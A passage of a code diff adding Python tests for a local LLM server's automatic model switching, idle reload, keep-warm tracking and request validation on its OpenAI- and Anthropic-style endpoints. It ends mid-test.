+ monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + # An Unsloth model is the live backend. + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"), + ) + _run_hook("gpt-4o-mini") + assert rec.calls == [] # stale GGUF not reloaded over the active Unsloth model + + +def test_is_abs_path_id_distinguishes_path_from_repo_id(): + assert resolver._is_abs_path_id("/abs/path/model.gguf") is True + assert resolver._is_abs_path_id("org/Repo-GGUF") is False + assert resolver._is_abs_path_id("Repo") is False + + +def test_advertised_loader_id_prefers_alias_over_abs_path(): + # C1: the ./models and LM Studio scanners report the on-disk path as info.id. + from types import SimpleNamespace + + f = resolver._advertised_loader_id + # An absolute-path id falls back to the first non-path alias. + assert ( + f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" + ) + # No alias available: strip the path to a public id so a host path is never advertised. + assert ( + f( + SimpleNamespace( + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + ) + ) + == "Qwen3-8B-Q4_K_M" + ) + # A normal repo id is advertised as-is. + assert ( + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + ) + + +def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch): + # C1 end-to-end: a scanner that reports the path as the id must not advertise the + # host path in /v1/models, yet the model stays resolvable by that path too. + from types import SimpleNamespace + import routes.models as models_route + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + info = SimpleNamespace( + id = str(gguf), # scanner uses the on-disk path as the id + path = str(gguf), + model_id = "org/Repo-GGUF", + display_name = "Repo", + ) + monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info]) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + resolver._scan = (0.0, {}) + + # The advertised id is the alias, never the absolute path. + advertised = sorted({entry.loader_id for entry in resolver._index().values()}) + assert advertised == ["org/Repo-GGUF"] + # But the model is still resolvable by its on-disk path (an indexed alias). + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(str(gguf)) is not None + + +def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): + # gemini: one bad scanner (e.g. a permission error on ./models) must drop only + # that source, not abort the whole index and lose what the others found. + from types import SimpleNamespace + import routes.models as models_route + import utils.paths as paths + + def _boom(*a, **k): + raise OSError("permission denied") + + lm_info = SimpleNamespace( + id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + ) + monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info]) + monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None) + monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None) + monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path]) + # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry. + monkeypatch.setattr( + resolver, + "_local_gguf_entry", + lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()), + ) + resolver._scan = (0.0, {}) + index = resolver._build_index() + assert any(e.loader_id == "org/Repo-GGUF" for e in index.values()) + + +def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): + # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must + # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format) + # is servable; a safetensors-only dir is not. + from types import SimpleNamespace + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + + st = tmp_path / "safetensors_model" + st.mkdir() + (st / "model.safetensors").write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + + +def test_info_has_local_gguf_excludes_ollama_links(tmp_path): + # Codex P2: Ollama entries come from a scanner _build_index skips, so their + # advertised ids never resolve; the catalog must not report them as servable. + from types import SimpleNamespace + + links = tmp_path / ".studio_links" + links.mkdir() + ollama_gguf = links / "model-Q4_K_M.gguf" + ollama_gguf.write_bytes(b"x" * 32) + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + is False + ) + # The same GGUF outside an ollama-link dir is still servable. + plain = tmp_path / "model-Q4_K_M.gguf" + plain.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + + +def test_embeddings_input_present_helper(): + f = inference_route._embeddings_input_present + assert f({"input": "hi"}) is True + assert f({"input": ["a", "b"]}) is True + assert f({"input": [1, 2, 3]}) is True + assert f({}) is False + assert f({"input": ""}) is False + assert f({"input": []}) is False + + +def test_embeddings_rejects_missing_input_before_switch(monkeypatch): + # C2: with auto-switch on, an embeddings request carrying no input must 400 + # before the hook, so an invalid request never swaps the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") # loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no model switch happened + + +def test_retrieve_model_tolerates_non_string_id(monkeypatch): + # G2: a model object with a non-string id (defensive) must be skipped rather + # than crashing the .lower() compare; a valid id is still found, unknown 404s. + from fastapi import HTTPException + + async def _objs(): + return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) + obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) + assert obj["id"] == "org/B-GGUF" + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_retrieve_model("123", "tester")) + assert exc.value.status_code == 404 + + +def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch): + # Codex P2: a client caching the legacy absolute .gguf path must still retrieve + # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised + # repo id (identifier = snapshot path), so the raw-path fallback must map the raw + # id to that advertised id, not public_model_id(path), or a loaded model 404s. + from types import SimpleNamespace + + raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf" + llama = SimpleNamespace( + is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF" + ) + infer = SimpleNamespace(active_model_name = None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer) + monkeypatch.setattr( + inference_route, + "_openai_model_objects", + lambda: [{"id": "org/B-GGUF", "object": "model"}], + ) + + async def _empty(): + return [] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty) + obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester")) + assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True + + +def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): + # Codex P2: only the non-streaming GGUF path returns multiple choices, so + # stream=true + n>1 is invalid on every local serving path. Both fields are + # known pre-switch, so it must 400 before the switch rather than loading model B. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_resolver_cache_stamped_after_slow_build(monkeypatch): + # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the + # TTL would otherwise store an already-expired cache and rebuild every request. + import core.inference.local_model_resolver as r + + clock = {"t": 1000.0} + monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"]) + calls = {"n": 0} + + def _slow_build(): + calls["n"] += 1 + clock["t"] += r._CACHE_TTL_S + 10.0 # the scan itself outlasts the TTL + return {} + + monkeypatch.setattr(r, "_build_index", _slow_build) + r._scan = (0.0, {}) + r._index() # builds once, stamps post-scan + r._index() # immediately after: must reuse the cache, not rebuild + assert calls["n"] == 1 + + +def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): + # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement + # the in-flight count without stamping activity, or unauthenticated probes would + # keep the model warm and block idle-unload. + import core.inference.llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 100.0) + + async def _recv(): + return {"type": "http.request"} + + async def _run(status_code): + async def _app(scope, receive, send): + await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send({"type": "http.response.body", "body": b"x", "more_body": False}) + + sent = [] + + async def _send(m): + sent.append(m) + + mw = kw.LlamaKeepWarmMiddleware(_app) + await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + + asyncio.run(_run(401)) + assert kw._inflight == 0 # balanced (start then untracked end) + assert kw._last_active == 100.0 # activity NOT stamped for an auth failure + # A served (200) request still stamps activity. + asyncio.run(_run(200)) + assert kw._inflight == 0 + assert kw._last_active != 100.0 + + +# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ── + + +def _stash(monkeypatch, *, idle = 600): + """Common setup for the standalone-idle reload paths: feature off, idle TTL on, + an idle-freed model in the stash, nothing loaded, no in-flight requests.""" + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + + +def test_completions_prompt_present_helper(): + f = inference_route._completions_prompt_present + assert f({"prompt": "hi"}) is True + assert f({"prompt": ["a", "b"]}) is True + assert f({}) is False + assert f({"prompt": ""}) is False + assert f({"prompt": []}) is False + + +def test_completions_rejects_missing_prompt_before_switch(monkeypatch): + # #1: /v1/completions had no prompt pre-check, so a malformed request naming a + # different downloaded GGUF loaded it before failing. Now it 400s first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_chat_system_only_rejected_before_idle_reload(monkeypatch): + # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL + # could still reload a system-only chat before the 400. Now it 400s first. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): + # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a + # standalone idle TTL too, not only when auto-switch is on. + from fastapi import HTTPException + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch): + # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a + # standalone idle TTL could never restore the freed model. The early 503 now + # defers to any automatic-load trigger, so the reload hook runs. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + # The handler proceeds past the hook to real generation (no llama-server here), + # so tolerate the downstream failure; the reload having run is the assertion. + try: + asyncio.run( + inference_route.anthropic_messages( + _anthropic_payload(max_tokens = 16), object(), "tester" + ) + ) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_messages_503_gated_on_automatic_load_predicate(): + # Lock the #3 fix at the source: the early 503 must check the shared predicate. + import inspect + src = inspect.getsource(inference_route.anthropic_messages) + assert "_automatic_model_load_may_run" in src + + +def test_raw_body_without_model_reloads_freed_model(monkeypatch): + # #6: a raw completions/embeddings body that omits `model` passed None, which + # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the + # reload run while still resolving as unknown. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_audio_generate_reloads_idle_freed_model(monkeypatch): + # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an + # idle-freed audio GGUF stayed unloaded. The hook now restores it. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + # Falls through to the non-audio backend path (no real model) after the reload; + # tolerate that downstream failure, the reload having run is the assertion. + try: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch): + # The audio reload hook must run after message validation, so an empty request + # never triggers a reload. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = []) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_preview_scope_disables_auto_switch(monkeypatch): + # #7: the public preview route delegates to the chat handler; a caller-supplied + # model must not switch away from the pinned checkpoint. The scope opt-out flag + # makes the hook a no-op. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + + class _Req: + def __init__(self): + self.scope = {} + + req = _Req() + inference_route.disable_openai_auto_switch_for_request(req.scope) + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester")) + assert rec.calls == [] # preview opt-out suppressed the switch + + # Control: a fresh request without the flag would switch. + req2 = _Req() + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester")) + assert len(rec.calls) == 1 + + +def test_preview_chat_is_tracked_as_inference_path(): + # #8: long preview streams use the same backend; the keep-warm middleware must + # count them so the idle loop can't unload mid-response. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/p/my-run/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/v1/models") is False + + +def test_untrack_does_not_reset_idle_timer(): + # #9: external-provider traffic was keeping the local GGUF warm forever because + # untrack stamped _last_active. It must decrement in-flight without restamping. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 1 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 0 + assert kw._last_active == before # idle timer not reset by an untracked request + kw._inflight = 0 + + +def test_note_start_does_not_reset_idle_timer(): + # The start stamp was removed so an external request that is later untracked + # cannot reset the timer at start either; in-flight count still protects it. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + kw._note_start() + try: + assert kw._inflight == 1 + assert kw._last_active == before # start no longer stamps activity + assert kw._is_idle(1.0) is False # but in-flight still blocks unload + finally: + kw._note_end() # restores _last_active stamp on completion + + +# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ── + + +def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch): + # Codex P2: a raw-body request that omits `model` must never run the resolver, + # so a downloaded GGUF literally named "default" can't be switched to. The + # resolver here would switch to B if it ran; it must not. + backend = _FakeBackend("org/A-GGUF") # a model is already loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert rec.calls == [] # resolver skipped (would have switched to B otherwise) + + +def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): + # The reload-only sentinel must still restore an idle-freed model (the round-9 + # behavior), it just never runs the resolver. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def _anthropic_payload_with_tools(tools, max_tokens = 16): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "org/B-GGUF", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + tools = tools, + ) + + +def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed client tool (no input_schema, no server-tool type) must + # 400 before the auto-switch hook, so an invalid request never evicts the model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_anthropic_validates_tools_before_auto_switch(): + # Lock the order at the source: tool-shape validation precedes the hook, for + # both /messages and /messages/count_tokens (shared helper). + import inspect + for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + src = inspect.getsource(fn) + assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + + +def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): + # Codex P2: combining an Anthropic server tool (type) with a custom client tool + # (input_schema) is unsupported and must 400 before the switch, so the request + # can't evict the loaded model only to be rejected after the load. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools( + [ + {"type": "web_search_20250305"}, # server tool + {"name": "my_func", "input_schema": {"type": "object"}}, # client tool + ] + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +# ── codex review (round 2): schema-default model, Responses tool validation ── + + +def _chat_msg(text = "hi"): + from models.inference import ChatMessage + return ChatMessage(role = "user", content = text) + + +def _responses_payload(*, tools = None, set_model = True): + from models.inference import ResponsesRequest + + kwargs = dict(input = "hi") + if set_model: + kwargs["model"] = "org/B-GGUF" + if tools is not None: + kwargs["tools"] = tools + return ResponsesRequest(**kwargs) + + +def test_switch_model_for_payload_only_switches_when_explicit(): + # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only; + # an explicitly set model -- including a literal "default" -- is honored. + from models.inference import ChatCompletionRequest + + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit_default) == "default" + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF" + + +def test_omitted_schema_model_skips_resolver(monkeypatch): + # End to end: a schema request omitting `model` must not run the resolver, so a + # GGUF named "default" is never swapped to; an explicit model still switches. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(omitted), object(), "tester" + ) + ) + assert rec.calls == [] # resolver skipped + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(explicit), object(), "tester" + ) + ) + assert len(rec.calls) == 1 # explicit model still switches + + +def test_build_chat_request_propagates_omitted_model(): + # _build_chat_request must not turn an omitted Responses model into an explicit + # "default", or the non-streaming chat re-check would switch on it. + omitted = _responses_payload(set_model = False) + chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) + assert "model" not in chat_req.model_fields_set + explicit = _responses_payload(set_model = True) + chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + assert "model" in chat_req2.model_fields_set + + +def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed function tool (no name) must 400 before the hook, so an + # invalid /v1/responses request never switches or evicts the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _responses_payload(tools = [{"type": "function", "parameters": {}}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): + # A well-formed function tool and a built-in (non-function) tool must pass the + # pre-switch check. Stub the hook so the test stops right after validation. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _responses_payload( + tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + + +def test_responses_validates_tools_before_auto_switch(): + # Lock the order at the source: tool validation precedes the switch hook. + import inspect + src = inspect.getsource(inference_route.openai_responses) + assert src.index("each function tool must have a 'name'") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch): + # Codex P2: a forcing-function tool_choice with no name (Responses shape + # {"type": "function"}) must 400 before the switch, so the streaming path can't + # forward a bad choice and an invalid request can't evict the model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch on an invalid tool_choice") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + # A named forcing choice is accepted (reaches the switch, which is mocked to raise). + ok = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"} + ) + with pytest.raises(AssertionError): + asyncio.run(inference_route.openai_responses(ok, object(), "tester")) + + +# ── codex review (round 3): process-wide swap gate across event loops ── + + +def test_swap_acquires_process_gate_before_load(): + # Lock in the structure: the process-wide gate is acquired before the load and + # always released, so a cross-loop swap can't reach _load_model_impl unguarded. + import inspect + + src = inspect.getsource(inference_route._maybe_auto_switch_model) + assert src.index("_acquire_swap_gate") < src.index("_load_model_impl") + assert "_auto_switch_process_lock.release()" in src + + +# ── codex review (round 4): validate modality + tool-confirmation before switch ── + + +def _chat_request(**kw): + from models.inference import ChatCompletionRequest, ChatMessage + kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")]) + return ChatCompletionRequest(**kw) + + +def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): + # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid + # shape; it must 400 before the switch hook so it can't evict the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): + # bypass_permissions suppresses the confirm gate, so the pre-check must not fire; + # the request should reach the switch hook (stubbed here to a sentinel). + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", + enable_tools = True, + confirm_tool_calls = True, + stream = False, + bypass_permissions = True, + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_chat_audio_input_guards_target_before_switch(monkeypatch): + # Codex P2: a chat request carrying audio_base64 must guard the target before the + # switch -- audio rides the same companion mmproj as vision -- so a text-only + # target can't be loaded and evict the working audio model. Assert the handler + # flags require_vision so the hook's multimodal probe runs. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_completions_rejects_object_prompt_before_switch(monkeypatch): + # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error + # (only a string or array is valid). It must 400 before the switch so a bad shape + # can't load the named GGUF only to be rejected by llama-server after eviction. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_embeddings_rejects_object_input_before_switch(monkeypatch): + # Codex P2: an object input like {"input": {}} is a deterministic client error + # (only a string or array is valid); reject before the switch, like completions. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_oversized_audio_rejected_before_switch(monkeypatch): + # Codex P2: the audio size cap is a cheap, target-independent length 